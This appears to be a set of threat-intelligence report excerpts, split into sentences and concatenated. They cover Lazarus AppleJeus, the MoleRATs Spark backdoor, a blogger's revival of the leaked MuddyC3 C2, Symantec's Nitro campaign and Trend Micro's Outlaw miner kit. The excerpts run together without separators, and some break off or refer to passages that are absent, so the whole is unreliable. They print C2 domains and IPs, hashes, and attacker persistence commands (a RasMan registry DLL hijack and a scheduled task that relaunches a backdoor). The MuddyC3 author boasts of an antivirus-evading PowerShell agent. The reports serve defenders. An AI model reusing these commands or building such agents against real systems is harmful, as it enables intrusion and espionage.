Cobalt Strike payload : 7101fff478290d4db8a1c11a8d3b40cb , 4c81777551a772218519fb6dd1a6672aade4a936 , bdf1452b55b9974f3e9a4aea4439769a02fd931660ed655df92519a2a4df1261 .
Modified DLL file ( goopdate.dll ) used by BRONZE PRESIDENT to install RCSession : 0617cad9e5d559356c43d4037c86227f , f14eaf5d648aebb2ed7b00b2cf4349263b30fb1c , 2ea9ccf653f63bcc3549a313ec9d0bada341556cc32dd2ca4b73e0c034492740 .
Operation AppleJeus Sequel , Lazarus continues to attack the cryptocurrency business with enhanced capabilities .
The Lazarus group is currently one of the most active and prolific APT actors .
In 2018 , Kaspersky published a report on one of their campaigns , named Operation AppleJeus .
Notably , this operation marked the first time Lazarus had targeted macOS users , with the group inventing a fake company in order to deliver their manipulated application and exploit the high level of trust among potential victims .
As a result of our ongoing efforts , we identified significant changes to the group ’s attack methodology .
To attack macOS users , the Lazarus group has developed homemade macOS malware , and added an authentication mechanism to deliver the next stage payload very carefully , as well as loading the next-stage payload without touching the disk .
In addition , to attack Windows users , they have elaborated a multi-stage infection procedure , and significantly changed the final payload .
We assess that the Lazarus group has been more careful in its attacks following the release of Operation AppleJeus and they have employed a number of methods to avoid being detected .
After releasing Operation AppleJeus , the Lazarus group continued to use a similar modus operandi in order to compromise cryptocurrency businesses .
We found more macOS malware similar to that used in the original Operation AppleJeus case .
This macOS malware used public source code in order to build crafted macOS installers .
The malware authors used QtBitcoinTrader developed by Centrabit .
These three macOS installers use a similar post installer script in order to implant a mach-o payload , as well as using the same command-line argument when executing the fetched second-stage payload .
However , they have started changing their macOS malware .
We recognized a different type of macOS malware , MarkMakingBot.dmg ( be37637d8f6c1fbe7f3ffc702afdfe1d ) , created on 2019-03-12 .
It doesn’t have an encryption/decryption routine for network communication .
We speculate that this is an intermediate stage in significant changes to their macOS malware .
During our ongoing tracking of this campaign , we found that one victim was compromised by Windows AppleJeus malware in March 2019 .
Unfortunately , we couldn’t identify the initial installer , but we established that the infection started from a malicious file named WFCUpdater.exe .
At that time , the actor used a fake website : wfcwallet.com .
The actor used a multi-stage infection like before , but the method was different .
The infection started from .NET malware , disguised as a WFC wallet updater ( a9e960948fdac81579d3b752e49aceda ) .
Upon execution , this .NET executable checks whether the command line argument is “ /Embedding ” or not .
This malware is responsible for decrypting the WFC.cfg file in the same folder with a hardcoded 20-byte XOR key .
This mimics the wallet updater connected to the C2 addresses : wfcwallet.com ( resolved ip : 108.174.195.134 ) , www.chainfun365.com ( resolved ip : 23.254.217.53 ) .
After that , it carries out the malware operator ’s commands in order to install the next stage permanent payload .
The actor delivered two more files into the victim ’s system folder : rasext.dll and msctfp.dat .
They used the RasMan ( Remote Access Connection Manager ) Windows service to register the next payload with a persistence mechanism .
After fundamental reconnaissance , the malware operator implanted the delivered payload by manually using the following commands :cmd.exe /c dir rasext.dll , cmd.exe /c dir msctfp.dat , cmd.exe /c tasklist /svc | findstr RasMan , cmd.exe /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\RasMan\ThirdParty /v DllName /d rasext.dll /f .
In order to establish remote tunneling , the actor delivered more tools , executing with command-line parameters .
Unfortunately , we have had no chance to obtain this file , but we speculate that Device.exe is responsible for opening port 6378 , and the CenterUpdater.exe tool was used for creating tunneling to a remote host .
Note that the 104.168.167.16 server is used as a C2 server .
The fake website hosting server for the UnionCryptoTrader case will be described next .
We also found a Windows version of the UnionCryptoTrader ( 0f03ec3487578cef2398b5b732631fec ) .
It was executed from the Telegram messenger download folder :C:\Users\[user name]\Downloads\Telegram Desktop\UnionCryptoTraderSetup.exe .
We also found the actor ’s Telegram group on their fake website .
Based on these , we assess with high confidence that the actor delivered the manipulated installer using the Telegram messenger .
Unfortunately , we can’t get all the related files as some payloads were only executed in memory .
However , we can reassemble the whole infection procedure based on our telemetry .
The overall infection procedure was very similar to the WFCWallet case , but with an added injection procedure , and they only used the final backdoor payload instead of using a tunneling tool .
The UnionCryptoTrader Windows version has the following window showing a price chart for several cryptocurrency exchanges .
The Windows version of UnionCryptoTrader updater ( 629b9de3e4b84b4a0aa605a3e9471b31 ) has similar functionality to the macOS version .
According to the build path ( Z:\Loader\x64\Release\WinloaderExe.pdb ) , the malware author called this malware a loader .
Upon launch , the malware retrieves the victim ’s basic system information , sending it in the following HTTP POST format , as is the case with the macOS malware .
If the response code from the C2 server is 200 , the malware decrypts the payload and loads it in memory .
Finally , the malware sends the act=done value and return code .
The next stage payload ( e1953fa319cc11c2f003ad0542bca822 ) , downloaded from this loader , is similar to the .NET downloader in the WFCWallet case .
This malware is responsible for decrypting the Adobe.icx file in the same folder .
It injects the next payload into the Internet Explorer process , and the tainted iexplore.exe process carries out the attacker ’s commands .
The final payload ( dd03c6eb62c9bf9adaf831f1d7adcbab ) is implanted manually as in the WFCWallet case .
This final payload was designed to run only on certain systems .
It seems that the malware authors produced and delivered malware that only works on specific systems based on previously collected information .
The malware checks the infected system ’s information and compares it to a given value .
It seems the actor wants to execute the final payload very carefully , and wants to evade detection by behavior-based detection solutions .
This Windows malware loads the encrypted msctfp.dat file in a system folder , and loads each configuration value .
Then it executes an additional command based on the contents of this file .
When the malware communicates with the C2 server , it uses a POST request with several predefined headers .
Finally , the malware downloads the next stage payload , decrypting it and possibly executing it with the Print parameter .
We speculate that the DLL type payload will be downloaded and call its Print export function for further infection .
We can’t get hold of the final payload that ’s executed in memory , but we believe its backdoor-type malware is ultimately used to control the infected victim .
We were able to identify several victims in this Operation AppleJeus sequel .
Victims were recorded in the UK , Poland , Russia and China .
Moreover , we were able to confirm that several of the victims are linked to cryptocurrency business entities .
The actor altered their macOS and Windows malware considerably , adding an authentication mechanism in the macOS downloader and changing the macOS development framework .
The binary infection procedure in the Windows system differed from the previous case .
They also changed the final Windows payload significantly from the well-known Fallchill malware used in the previous attack .
We believe the Lazarus group ’s continuous attacks for financial gain are unlikely to stop anytime soon .
Since the initial appearance of Operation AppleJeus , we can see that over time the authors have changed their modus operandi considerably .
NEW CYBER ESPIONAGE CAMPAIGNS TARGETING PALESTINIANS Over the last several months , the Cybereason Nocturnus team has been tracking recent espionage campaigns targeting the Middle East .
These campaigns are specifically directed at entities and individuals in the Palestinian territories .
This investigation shows multiple similarities to previous attacks attributed to a group called MoleRATs ( aka The Gaza Cybergang ) , an Arabic-speaking , politically motivated group that has operated in the Middle East since 2012 .
In our analysis , we distinguish between two separate campaigns happening simultaneously .
These campaigns differ in tools , server infrastructure , and nuances in decoy content and intended targets .
The Spark Campaign : This campaign uses social engineering to infect victims , mainly from the Palestinian territories , with the Spark backdoor .
This backdoor first emerged in January 2019 and has been continuously active since then .
The campaign ’s lure content revolves around recent geopolitical events , espeically the Israeli-Palestinian conflict , the assassination of Qasem Soleimani , and the ongoing conflict between Hamas and Fatah Palestinian movements .
The Pierogi Campaign : This campaign uses social engineering attacks to infect victims with a new , undocumented backdoor dubbed Pierogi .
This backdoor first emerged in December 2019 , and was discovered by Cybereason .
In this campaign , the attackers use different TTPs and decoy documents reminiscent of previous campaigns by MoleRATs involving the Micropsia and Kaperagent malware .
In part one of this research , we analyze the Spark campaign .
This campaign is named after a rare backdoor used by the MoleRATs Group , dubbed Spark by Cybereason and previously reported by 360 ’s blog .
The creators of the Spark backdoor use several techniques to evade detection and stay under the radar .
They pack the malware with a powerful commercial tool called Enigma Packer and implement language checks to ensure the victims are Arabic speaking .
This minimizes the risk of detection and infection of unwanted victims .
Cyber Espionage in the Middle East : The Cybereason Nocturnus team has discovered several recent , targeted attacks in the Middle East .
These attacks deliver the Spark and Pierogi backdoors for politically-driven cyber espionage operations .
Targeting Palestinians : The campaigns seems to target Palestinian individuals and entities , likely related to the Palestinian government .
Politically-motivated APT : Cybereason suspects that the objective of the threat actor is to obtain sensitive information from the victims and leverage it for political purposes .
Lured Into Deploying a Backdoor : The attackers use specially crafted lure content to trick targets into opening malicious files that infect the victim ’s machine with a backdoor .
The lure content in the malicious files relates to political affairs in the Middle East , with specific references to the Israeli-Palestinian conflict , tension between Hamas and Fatah , and other political entities in the region .
Perpetrated by an Arabic-Speaking APT Group : The modus-operandi of the attackers in conjunction with the social engineering tactics and decoy content seem aligned with previous attacks carried out by the Arabic-speaking APT group MoleRATs ( aka Gaza Cybergang ) .
This group has been operating in the Middle East since 2012 .
These attacks show significant similarities to previously documented attacks attributed to the Arabic-speaking threat actor , commonly referred to as the MoleRATs group ( aka , The Gaza Cybergang , Moonlight , DustySky , Gaza Hacker Team ) .
This group , which has been attributed by various security teams , is believed to be comprised of three subgroups :Gaza Cybergang Group 1 , also dubbed MoleRATs : MoleRATs has been active since at least 2012 .
This Arabic-speaking group uses spear phishing attacks to infect target machines in the Middle East and North Africa with various Remote Access Trojans ( RATs ) .
As MoleRATs most prominently targets Palestinian territories , its spear phishing attacks often use attached malicious documents on topical Palestinian Authority-related issues to lure their victims .
The group uses a mix of tools and malware , some developed by the group and others that are more generic tools .
Gaza Cybergang Group 2 , also dubbed Desert Falcons , APT-C-23 , Arid Viper .
This second group is an Arabic-speaking group that mainly targets the Middle East and North Africa , with a few targets in European and Asian countries as well .
The group is known for their advanced attacks that leverage custom-built Windows malware ( Kasperagent , Micropsia ) as well as Android malware ( Vamp , GnatSpy ) .
Gaza Cybergang Group 3: This group is believed to be behind Operation Parliament .
It is considered to be the most advanced group of the three , and is focused on high-profile targets in the Middle East , North America , Europe and Asia .
The group is reported to have previously attacked government institutions , parliaments , senates , diplomatic functions , and even Olympic and other sports bodies .
It is important to remember there are many threat actors operating in the Middle East , and often there are overlaps in TTPs , tools , motivation , and victimology .
There have been cases in the past where a threat actor attempted to mimic another to thwart attribution efforts , and as such , attribution should rarely be taken as is , but instead with a grain of salt and critical thinking .
In this attack , the targets are lured to open a document or a link attached to an email .
There have been cases in the past where victims also downloaded malicious content from fake news websites .
The names of the files and their content play a major part in luring victims to open them , as they usually relate to current topics pertaining to Hamas , the Palestinian National Authority , or other recent events in the Middle East .
The lure documents analyzed by Cybereason in this attack concentrate on the following themes :The Conflict between Hamas and Fatah : The historical rivalry between the Hamas and Fatah has resulted in many open battles between the two entities .
Since 2006 , Hamas has controlled the Gaza strip and Fatah has controlled the West Bank .
Matters pertaining to the Israeli-Palestinian Conflict : Some of the documents in this campaign reference different aspects of the Israeli-Palestinian conflict , and the efforts for ceasefire and peace processes between the Israelis and the Palestinians , including the latest peace plan made by President Donald Trump and Senior Advisor to the President of the United States Jared Kushner .
Vigilance Following Soleimani ’s Assassination : One of the lure documents mentions sources in Lebanon that report a state of alert and vigilance amongst Iranian , Syrian , and Lebasense militias following Soleimani ’s assassination .
Tensions Between Hamas and the Egyptian Government : Egypt plays a major role as a mediator in the Israeli-Palestinian confict and has brokered several ceasefire deals and other negotiations in the past .
Changes to Egypt ’s internal political climate are known to have affected Egyptian government relations with Hamas over the years .
It was recently reported that Ismail Haniyeh , the head of Hamas ’ political Bureau , had a falling-out with the Egyptian government over his visit to Tehran to participate in General Qasem Soleimani ’s funeral , following Soleimani ’s assassination .
In the Spark campaign , the lure documents and links point to one of two file sharing websites , Egnyte or Dropbox .
The target is encouraged to download an archive file in a rar or zip format that contains an executable file masquerading as a Microsoft Word document .
One example of a lure document used in the Spark campaign is a PDF file that is used to deliver the Spark backdoor to the victim .
The document includes a special report allegedly quoted from the Egyptian newspaper Al-Ahram .
This document reports that Ismail Hanieyh , the political leader of Hamas , had notified the Egyptian government that he will remain abroad after his visit to Tehran to take part in Soleimani ’s funeral , which sparked tension with the Egyptian authorities .
Haniyeh_will_remain_abroad_and_Hamas_rises_in_Gaza.pdf : 5b476e05aacea9edc14f7e4bab1b724ef54915f30c39ac87503ed395feae611e .
The target is encouraged to click on the link to read the entire article .
However , the document does not link to the Egyptian Newspaper website , but instead to a file sharing website called Egnyte .
It prompts the user to download a file that supposedly contains the full article .
Link embedded in the PDF document : https://csaasd.egnyte.com/dd/h5s7YHzOy5 .
The downloaded file is an archive file ( .r23 ) , that contains a Windows executable file with the same name as the PDF and with a fake Microsoft Word icon .
When the victim double clicks on the executable file , it unpacks and installs the Spark backdoor , as shown in the attack tree screenshot below .
The extracted executable file contains a compiled Autoit script , which can be seen in the RT_RCDATA section of the file .
The decompiled code shows the decryption routine that unpacks the embedded Spark backdoor .
Once the file is unpacked , the backdoor is dropped in two different locations on the infected operating system :C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\runawy.exe .
In addition , the Autoit code also creates the following scheduled task for persistence :SCHTASKS /Create /f /SC minute /TN runawy /mo 5 /tr C:\Users\<USER>\runawy.exe .
The executable has a Microsoft Word icon to trick victims into believing they are opening a Word document .
Once the user double-clicks on the executable file , the dropper drops a Word document in %AppData% and displays the following decoy document to the victim , while the dropper runs in the background and installs the backdoor .
 %appdata%\info.docx :The dropper drops the Spark backdoor binary and a shortcut file used to initiate persistence in the following locations .
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Blaster.lnk :The Spark payload is a custom backdoor likely developed by the MoleRATs group .
In addition to known generic malware ( such as : njRAT , Poison Ivy , XtremeRAT ) , the MoleRATs group has been known to develop its own custom tools such as DustySky , the MoleRAT Loader and Scote .
We believe this backdoor is relatively new and seems to have appeared starting in the beginning of 2019 .
The name Spark is derived from the PDB path left in a few of the backdoor binaries :W:\Visual Studio 2017\Spark4.2\Release\Spark4.2.pdb .
The Spark backdoor allows the attackers to :Collect information about the infected machine .
Encrypt the collected data and send it to the attackers over the HTTP protocol .
Download additional payloads .
Log keystrokes .
Record audio using the computer ’s microphone .
Execute commands on the infected machine .
The creators of the Spark backdoor use a few techniques that are intended to keep the backdoor under-the-radar , including :Packing the payloads with the Enigma packer .
Checking for antivirus and other security products using WMI .
Validating Arabic keyboard and language settings on the infected machine .
All the the payloads observed by Cybereason in this campaign were packed by a powerful yet commercial packer called Enigma Packer .
The MoleRATs group have been known to use this packer in previous attacks .
Enigma packer artifacts in file metadata ( SHA-256: b08b8fddb9dd940a8ab91c9cb29db9bb611a5c533c9489fb99e36c43b4df1eca ) .
One common evasive mechanism used by the Spark backdoor is its ability to check for installed security products using WMI queries ( WQL ) .
If certain security products are installed , the backdoor does not carry out its malicious activity .
Another evasive mechanism used by the backdoor is how it checks whether an Arabic keyboard and Arabic language settings are used on the infected machine .
If Arabic keyboard and language settings are not found on the machine , the backdoor will not carry out its malicious activity .
This check serves two purposes :It minimizes the risk of overexposure by specifically targeting Arabic speakers .
It can thwart detection by automated analysis engines and sandbox solutions .
After unpacking itself , the Spark backdoor creates a hidden window where most of the malicious activity is handled .
This behavior can be detected using a tool called WinLister , which enumerates hidden windows .
The name of the window is Spark4.2 .
The Spark backdoor communicates with the C2 servers over the HTTP protocol .
The data is first encrypted and then encoded with Base64 .
In this instance , the backdoor posts the data to the domain Nysura.com ( For more domains , please see the IOC section of this research ) .
It is interesting to see that the HTTP POST host header refers to a legitimate domain cnet.com , however , in acutality , the data is sent to nysura.com , as can be seen in the traffic screenshot below .
The data sent to the C2 follows a structured pattern that uses a predefined keywords array , where each keyword is mapped to a certain subroutine .
The keywords are comprised of the names of individuals .
They are mostly Western names , but there were some Arabic names in a few of the samples .
Prior to sending the data to the server , the data is encrypted and staged in an array like this :The data is then encoded with Base64 :" WzI3MDg5LDI4NjE4LDk4MzMsNDE3MCwyNTcyMiwxOTk3NywyMzY5LDIxNDI2LDM0MzUsNzQ0MiwzMDE0NiwyMTcxOSwxNjE0MCwxNjI4MCwxNjY4OCwyMjU1MCwxOTg2NywxOTQsMzI5OF0= " .
The Base64-encoded data is inserted into the following json object , which contains the individual names .
Lastly , the entire json object is encoded with Base64 and undergoes another stage of encryption , and then sent to the server :" ZjRTc1dTTU9nVW5FaXM3bGgvbU90MTlVMHFkb1c5SFFuRXhhSVR5YytIQkZremk3bk5wY21BUEZRYitJenA1cnlJY1lxREJJZ1RrL0N4UzZWcVVQM0pTUWFISlhKWG8wN1BxWE1hYThHSUdEVnBFakYrNlp1bXBvdUZMRFNYQVhxYk9tSElWYTFOTlpJK0hFVVBmTG9CQUV3VCtqQ2FCVUE1aHQ2SzllSHREMUpOdkdBUXZ3TWgyLzhtVHpha2I0TE81ZlpURTQyUmVjdFY1M0ZpemlRR1FLL1gzNE9mcU0zR0JqQ1ZnN1hCSmFGaC94RHBDMkNBRmZaSTVoVlhsaTBtQW5SR3N5QzVRY2lMNkpZVFJuRTQrUzBjdjU4SjY4ejRCL2FNbW9IakRheHdQd1RPUElkOHNDbDRVbmp2ZDM0ZVZlZTB1QVA0UHo0YllyVHRMZVRnPT0= " .
Using names as keywords is an identical technique to that of the data structure logic previously documented by 360 ’s blog post .
This post discusses an earlier variant of the backdoor attributed to the MoleRATs group .
Using other individuals names for C2 communication has also been done by the two other Gaza Cybergang groups :Gaza Cybergang Group 2 with the Micropsia backdoor :In this instance , the C2 communication implemented by the Micropsia backdoor also used specific names for different C2 commands .
Gaza Cybergang Group 3 in Operation Parliament : In this instance , the malware also used people ’s names for C2 communication to send and receive commands from the server .
Based on the similarity of the naming convention and data format , we believe the Spark backdoor could be an evolution of the backdoor mentioned in Operation Parliament , or at least inspired by the malware .
The Spark campaign detailed in this blog demonstrates how the tense geopolitical climate in the Middle East is used by threat actors to lure victims and infect them with the Spark backdoor for cyber espionage purposes .
The names of the files and decoy content seem to be carefully crafted , often referencing controversial and topical political issues .
Cybereason estimates that the files are specifically meant to lure and appeal to victims from the Middle East , especially towards individuals and entities in the Palestinian territories likely related to the Palestinian government or the Fatah movement .
The techniques , tools , and procedures used in this campaign bear great resemblance to previous attacks attributed to the MoleRATs Group ( aka Gaza Cybergang Group ) , an Arabic-speaking , politically motivated group that has operated in the Middle East since 2012 .
Our research demonstrates the efforts used by attackers to reduce the risk of detection of the Spark backdoor by various security products .
The backdoor checks for the existence of antivirus and firewall products before it initiates its malicious activity .
Importantly , the backdoor simply will not reveal its malicious nature unless Arabic language keyboard and settings are found on the infected machine .
This shows how the attackers use this backdoor in a surgical way to exclusively attack specific targets .
In addition , analysis of these backdoor delivery methods also highlights a trend by many threat actors where they use legitimate storage platforms to deliver the initial stages of the attack .
Reviving MuddyC3 Used by MuddyWater ( IRAN ) APT .
MuddyWater is a well-known threat actor group founded by Iran .
 “ that has been active since 2017 .
They target groups across Middle East and Central Asia , primarily using spear phishing emails with malicious attachments .
Most recently they were connected to a campaign in March that targeted ” organizations in Turkey , Pakistan , and Tajikistan .
MuddyWater attacks are characterized by the use of a slowly evolving PowerShell-based first stage backdoor we call “ POWERSTATS ” .
Despite broad scrutiny and reports on MuddyWater attacks , the activity continues with only incremental changes to the tools and techniques .
In June 26 2019 a group called “ Green Leakers ” on telegram published screenshots of the C2 admin panel as you can see below along with screenshot of the muddyc3 c2 source code .
 they announced that they are selling all the leaked tools for 0.5BTC .
At that time i got the source code from github , so i tried the code to find that the core of the c2 which is powershell payload is messing ( the leaker didn’t include the payload in order to by all the tools ) .
 so i didn’t have time to reverse engineer the source code and i left it .
 last week i got 3 days off from my work ( working in SOC will keep you for ever busy ) so i started analyzing the code which will be discussed below and i was able to understand how it works in order to create the messing powershell payload and make the c2 come to life .
I didn’t just revive the C2 but also added more advanced functionality which will be released as separate tool soon .
Lets start by giving a summary about the muddyc3 tool :Coded with python2.7 .
 works as C2 server that serve a powershell agent script when requested .
 i didn’t find any function to encrypt the traffic between the the agent and the C2 but there are variables with name private_key , public_key so i suspect the functions removed .
 its make use of HTA and bas64 encoded powershell code to bypass the AV ( right now AV can catch HTA ) .
It use threading so many agent can connect and controlled at the same time .
 the agent must collect information about the system when it first start then report it to the C2 .
 there is template for agent which will be filled with ip and port when the C2 run .
 include functions but not all implemented in the initial POC :upload , download , load modules , get screenshot .
The initial powershell agent POC i created can bypass the AV including Kaspersky , Trendmicro .
Now we dig deep in the C2 to explain how it work and how i created the agent based on the function available in the C2 .
simple CLI interface that ask when started for IP ,Port and proxy configuration to generate the initial payloads .
The Nitro Attacks .
This document discusses a recent targeted attack campaign directed primarily at private companies involved in the research , development , and manufacture of chemicals and advanced materials .
The goal of the attackers appears to be to collect intellectual property such as design documents , formulas , and manufacturing processes .
In addition , the same attackers appear to have a lengthy operation history including attacks on other industries and organizations .
Attacks on the chemical industry are merely their latest attack wave .
As part of our investigations , we were also able to identify and contact one of the attackers to try and gain insights into the motivations behind these attacks .
As the pattern of chemical industry targets emerged , we internally code-named the attack campaign Nitro .
The attack wave started in late July 2011 and continued into midSeptember 2011 .
However , artifacts of the attack wave such as Command and Control ( C&C ) servers are also used as early as April 2011 and against targets outside the chemical industry .
The purpose of the attacks appears to be industrial espionage , collecting intellectual property for competitive advantage .
The attackers first researched desired targets and then sent an email specifically to the target .
Each organization typically only saw a handful of employees at the receiving end of these emails .
However , in one organization almost 500 recipients received a mail , while in two other organizations , more than 100 were selected .
While the attackers used different pretexts when sending these malicious emails , two methodologies stood out .
First , when a specific recipient was targeted , the mails often purported to be meeting invitations from established business partners .
Secondly , when the emails were being sent to a broad set of recipients , the mails purported to be a necessary security update .
The emails then contained an attachment that was either an executable that appeared to be a text file based on the file name and icon , or a password-protected archive containing an executable file with the password provided in the email .
In both cases , the executable file was a self-extracting executable containing PoisonIvy , a common backdoor Trojan developed by a Chinese speaker .
When the recipient attempted to open the attachment , they would inadvertently execute the file , causing PoisonIvy to be installed .
Once PoisonIvy was installed , it contacted a C&C server on TCP port 80 using an encrypted communication protocol .
Using the C&C server , the attackers then instructed the compromised computer to provide the infected computer ’s IP address , the names of all other computers in the workgroup or domain , and dumps of Windows cached password hashes .
By using access to additional computers through the currently logged on user or cracked passwords through dumped hashes , the attackers then began traversing the network infecting additional computers .
Typically , their primary goal is to obtain domain administrator credentials and/or gain access to a system storing intellectual property .
Domain administrator credentials make it easier for the attacker to find servers hosting the desired intellectual property and gain access to the sensitive materials .
The attackers may have also downloaded and installed additional tools to penetrate the network further .
While the behavior of the attackers differs slightly in each compromise , generally once the attackers have identified the desired intellectual property , they copy the content to archives on internal systems they use as internal staging servers .
This content is then uploaded to a remote site outside of the compromised organization completing the attack .
The majority of infected machines are located in the US , Bangladesh and the UK ;however , overall there is wide geographical spread of infections .
As mentioned above , the threat used to compromise the targeted networks is Poison Ivy , a Remote Access Tool ( RAT ) .
This application is freely available from poisonivy-rat.com .
It comes fully loaded with a number of plug-ins to give an attacker complete control of the compromised computer .
The method of delivery has changed over time as the attackers have changed targets .
Older attacks involved a self-extracting archive with a suggestive name , for example : “ Human right report of north Africa under the war .
 scr ” .
The most recent attacks focusing on the chemical industry are using password-protected 7zip files which , when extracted , contain a self-extracting executable .
The password to extract the 7zip file is included in the email .
This extra stage is used to prevent automated systems from extracting the self-extracting archive .
Some example file names using this technique include : AntiVirus_update_package.7z , acquisition.7z , offer.7z , update_flashplayer10ax.7z .
When the self-extracting archive file is executed , it will drop two files .
Examples of file names that are used include : %Temp%\happiness.txt , %Temp%\xxxx.exe .
The executable file , xxxx.exe in this case , is then executed .
The second file , happiness.txt , contains custom code in binary format that is encrypted and used by xxxx.exe .
The xxxx.exe file copies happiness.txt to C:\PROGRAM FILES\common files\ODBC\ODUBC.DLL and to C:\WINDOWS\system32\jql.sys .
It then loads the contents of the encrypted file and injects it into the explorer.exe and iexplore.exe processes .
The injected code copies xxxx.exe to %System%\winsys.exe and connects to the Command and Control ( C&C ) server on TCP port 80 .
The communication with the server is a handshake using an encryption algorithm ( Camellia ) .
Once the Trojan establishes the server ’s authenticity , it expects a variable-size block of binary code that is read from the server straight into the virtual space for iexplore.exe and then executed .
When executed , the Poison Ivy threat , or Backdoor.Odivy , connects to a command and control ( C&C ) server over TCP port 80 .
A number of different C&C domains and IP addresses were identified .
The majority of samples connect to a domain ; however one subset of samples connected directly to the IP address 204.74.215.58 , which belonged to the Chinese QQ user mentioned previously and was also associated with antivirus-groups.com .
org : 173.252.207.71 , 173.252.205.36 , 173.252.205.37 , 173.252.205.64 .
 antivirus-groups.com : 74.82.166.205 , 204.74.215.58 .
 domain.rm6.org : 216.131.95.22 , 222.255.28.27 .
 anti-virus.sytes.net : 173.252.205.36 , 173.252.205.37 , 173.252.205.64 .
Several other hacker groups have also begun targeting some of the same chemical companies in this time period .
Attackers are sending malicious PDF and DOC files , which use exploits to drop variants of Backdoor.Sogu .
This particular threat was also used by hackers to compromise a Korean social network site to steal records of 35 million users .
Determining if the two groups are related is difficult , but any relationship appears unlikely .
The attackers described in this document use a very basic delivery platform ; compressed self-extracting archives sometimes sent to a large number of recipients .
The Sogu gang , in contrast , use PDF and DOC files in very tailored , targeted emails .
The Sogu gang use a custom developed threat – Backdoor.Sogu , whereas the group described in this document use an off the shelf threat – Poison Ivy .
While the number of Sogu targets is currently small relative to the Poison Ivy attacks , we continue to monitor their activities .
Numerous targeted attack campaigns are occurring every week .
However , relative to the total number of attacks , few are fully disclosed .
These attacks are primarily targeting private industry in search of key intellectual property for competitive advantage , military institutions , and governmental organizations often in search of documents related to current political events and human rights organizations .
This attack campaign focused on the chemical sector with the goal of obtaining sensitive documents such as proprietary designs , formulas , and manufacturing processes .
Outlaw Updates Kit to Kill Older Miner Versions , Targets More Systems .
As we ’ve observed with cybercriminal groups that aim to maximize profits for every campaign , silence doesn’t necessarily mean inactivity .
It appears hacking group Outlaw , which has been silent for the past few months , was simply developing their toolkit for illicit income sources .
While they have been quiet since our June analysis , we observed an increase in the group ’s activities in December , with updates on the kits ’ capabilities reminiscent of their previous attacks .
The updates expanded scanner parameters and targets , looped execution of files via error messages , improved evasion techniques for scanning activities , and improved mining profits by killing off both the competition and their own previous miners .
We analyzed the kits , which were designed to steal information from the automotive and finance industries , launch subsequent attacks on already compromised systems , and ( possibly ) sell stolen information .
Comparing this development to their previous attacks , we think Outlaw may be aiming to go after enterprises that have yet to update their systems , assessing security and changes with their previously infected hosts , finding new and old targets , and possibly testing their updates in the wild .
We will continue to observe the group ’s activities as they target industries from the United States and Europe .
Based on the samples we collected and traced to 456 distinct IPs , we expect the group to be more active in the coming months as we observed changes on the versions we acquired .
These new samples targeted Linux- and Unix-based operating systems , vulnerable servers , and internet of things ( IoT ) devices by exploiting known vulnerabilities with available exploits .
This time , the group explored unpatched systems vulnerable to CVE-2016-8655 and Dirty COW exploit ( CVE-2016-5195 ) as attack vectors .
Files using simple PHP-based web shells were also used to attack systems with weak SSH and Telnet credentials .
While no phishing- or social engineering-initiated routines were observed in this campaign , we found multiple attacks over the network that are considered “ loud. ” These involved large-scale scanning operations of IP ranges intentionally launched from the command and control ( C&C ) server .
The honeynet graphs , which show activity peaks associated with specific actions , also suggest that the scans were timed .
From the sample we analyzed , attacks started from one virtual private server ( VPS ) that searches for a vulnerable machine to compromise ( previous techniques used malicious URLs or infecting legitimate websites for bot propagation ) .
Once infected , the C&C commands for the infected system launches a loud scanning activity and spreads the botnet by sending a “ whole kit ” of binary files at once with naming conventions same as the ones already in the targeted host , likely banking on breaking through via “ security through obscurity. ” They attempted to evade traffic inspection by encoding the code for the scanner with base-64 .
The zombie host initiates the scan — another routine from previous campaigns — but updated with a larger set of parameters and programmed to run in the background .
The kit we found is in tgz format , though we have observed some samples disguised as png or jpg .
While previous routines took advantage of competing miners ’ activities and unrelated components to hijack the profit , the latest version of the code attempts to remove all related files and codes from previous infections ( including their own to make sure the running components are updated , as well as those from other cybercriminals to maximize the resources of the zombie host ) and creates a new working directory /tmp/.X19-unix to move the kit and extract the files .
The tsm binary then runs in the background , forwarding a series of error messages to /dev/null to keep the code running , ensuring the continuous execution of the code referenced with a set of parameters /tmp/up.txt .
The script then waits 20 minutes before it runs the wrapper script initall :Another variant executes a set of commands once a system is successfully compromised .
Most of these commands are related to gathering information from the infected machine ( number of CPU cores , users , scheduled tasks , running processes , OS installed , and CPU and memory information ) via the dota3 payload , as well as changing the password to a random string also stored in /tmp/up.txt .
In a previous execution ( published in June 2019 ) , we observed that dota2 had its own folder but it was hardly executed .
Running the script removes the remaining files and scripts from previous attacks , keeping a low profile to evade detection .
If the system has been previously infected with a cryptominer , it also attempts to kill the running miner and all its related activities .
Based on a bashtemp directory of the latest sample we found , there are other compiled ELF scripts , named init and init2 , that loops the kit to keep running :init .
 93ce211a71867017723cd78969aa4cac9d21c3d8f72c96ee3e1b2712c0eea494Both init and init2 scripts make sure all other running mining services are killed , and that all the files in the working directory are executed by giving 777 permissions .
We also found the init0 script running ; the script cleans out all miners regardless of its origin .
It then resets cron and removes possible cache files from other programs , starts scripts and binaries a , init0 , and start , and sets the persistence by modifying the crontab .
The a binary is a script wrapper to start run , a Perl-obfuscated script for installation of a Shellbot to gain control of the infected system .
The Shellbot disguises itself as a process named rsync , commonly the binary seen on many Unix- and Linux-based systems to automatically run for backup and synchronization .
This allows the malicious activity to evade detection .
The Shellbot script is added to run after the victim ’s system reboots , and scripts /a/upd , /b/sync/ , and /c/aptitude/ are added to the crontab .
However , while we observed the presence of the codes , the functions of upd , sync and aptitude were disabled in the kits ’ latest version .
It remains unclear whether these are leftover code from the previous versions or their particular purposes were served .
Shellbot is also used to control the botnet , with a command that is sent and run from the C&C to determine if there is a code execution in the shell , the hostname , and its architecture .
All results and system information collected from the infected system are stored locally in the device for a period before Outlaw retrieves them via the C&C .
Since discovering the operations of this group in 2018 , Outlaw continues to use scripts , codes , and commands that have been previously used and deployed .
These routines are indicative of the group ’s aim to get quantitative returns through varied cybercriminal profit streams .
This was also reinforced by their naming conventions , wherein different versions are simply named after the code iterations , following a specific format regardless of the actual function of the code .
Trojan.SH.MALXMR.UWEJP : 1800de5f0fb7c5ef3c0d9787260ed61bc324d861bc92d9673d4737d1421972aa .
Backdoor.SH.SHELLBOT.AA : b68bd3a54622792200b931ee5eebf860acf8b24f4b338b5080193573a81c747d .
